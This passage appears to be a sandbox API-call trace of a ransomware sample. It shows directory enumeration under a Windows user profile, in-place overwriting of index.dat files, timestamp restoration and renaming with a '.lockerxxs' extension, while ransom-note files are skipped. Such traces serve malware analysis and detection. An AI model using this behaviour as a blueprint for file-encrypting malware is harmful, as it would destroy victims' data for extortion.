lpString2="desktop.ini") returned 1 [0088.634] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0088.634] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*.*") returned="*.*" [0088.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0088.634] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="" [0088.637] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.638] CloseHandle (hObject=0x98) returned 1 [0088.638] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d1e12e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents.library-ms", cAlternateFileName="DOCUME~1.LIB")) returned 1 [0088.638] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.638] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Documents.library-ms") returned 1 [0088.638] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Documents.library-ms") returned 1 [0088.638] lstrcmpiA (lpString1="", lpString2="Documents.library-ms") returned -1 [0088.638] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="desktop.ini" [0088.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0088.638] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="" [0088.638] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d22d5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="Music.library-ms", cAlternateFileName="MUSIC~1.LIB")) returned 1 [0088.639] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.639] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Music.library-ms") returned -1 [0088.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Music.library-ms") returned -1 [0088.639] lstrcmpiA (lpString1="", lpString2="Music.library-ms") returned -1 [0088.639] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="Documents.library-ms" [0088.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0088.639] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="" [0088.639] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d207440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe23, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="Pictures.library-ms", cAlternateFileName="PICTUR~1.LIB")) returned 1 [0088.639] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.639] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Pictures.library-ms") returned -1 [0088.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Pictures.library-ms") returned -1 [0088.639] lstrcmpiA (lpString1="", lpString2="Pictures.library-ms") returned -1 [0088.639] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="Music.library-ms" [0088.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0088.640] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="" [0088.640] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d207440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 1 [0088.640] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.640] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Videos.library-ms") returned -1 [0088.640] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Videos.library-ms") returned -1 [0088.640] lstrcmpiA (lpString1="", lpString2="Videos.library-ms") returned -1 [0088.640] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="Pictures.library-ms" [0088.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0088.640] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="" [0088.640] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d207440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 0 [0088.640] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.641] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0088.641] lstrcmpA (lpString1=".", lpString2="Network Shortcuts") returned -1 [0088.641] lstrcmpA (lpString1="..", lpString2="Network Shortcuts") returned -1 [0088.641] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.641] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x590052, dwReserved1=0x540050, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.642] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.642] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0088.642] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.642] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.642] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 0 [0088.642] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.642] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004e, dwReserved1=0x770074, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0088.642] lstrcmpA (lpString1=".", lpString2="Printer Shortcuts") returned -1 [0088.642] lstrcmpA (lpString1="..", lpString2="Printer Shortcuts") returned -1 [0088.642] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.642] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.643] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.643] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.643] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.643] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.643] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.643] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.643] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x94fde710, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x94fde710, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x6e0069, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0088.643] lstrcmpA (lpString1=".", lpString2="PrivacIE") returned -1 [0088.643] lstrcmpA (lpString1="..", lpString2="PrivacIE") returned -1 [0088.643] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.643] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x94fde710, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x94fde710, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.644] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.644] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x94fde710, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x94fde710, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.644] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.645] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.645] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x94fde710, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x94fde710, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.645] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.645] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.645] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.645] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.645] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*") returned="*.*" [0088.645] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\" [0088.645] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\") returned="" [0088.648] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.649] CloseHandle (hObject=0x98) returned 1 [0088.653] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat") returned="index.dat" [0088.653] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.653] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0088.655] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.655] CloseHandle (hObject=0x98) returned 1 [0088.655] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat.lockerxxs")) returned 1 [0088.656] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50fa8bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25000326, dwReserved1=0x4e00c4, cFileName="Low", cAlternateFileName="")) returned 1 [0088.656] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0088.656] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0088.656] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat") returned="index.dat" [0088.656] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50fa8bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.657] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.657] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50fa8bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.657] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.657] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.657] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x50fa8bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.657] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.657] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.657] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*") returned="*.*" [0088.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\" [0088.658] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\") returned="" [0088.660] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.660] CloseHandle (hObject=0x9c) returned 1 [0088.670] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat") returned="index.dat" [0088.671] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.671] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1bfda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1bfda, lpOverlapped=0x0) returned 1 [0088.673] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.673] CloseHandle (hObject=0x9c) returned 1 [0088.673] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat.lockerxxs")) returned 1 [0088.674] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, 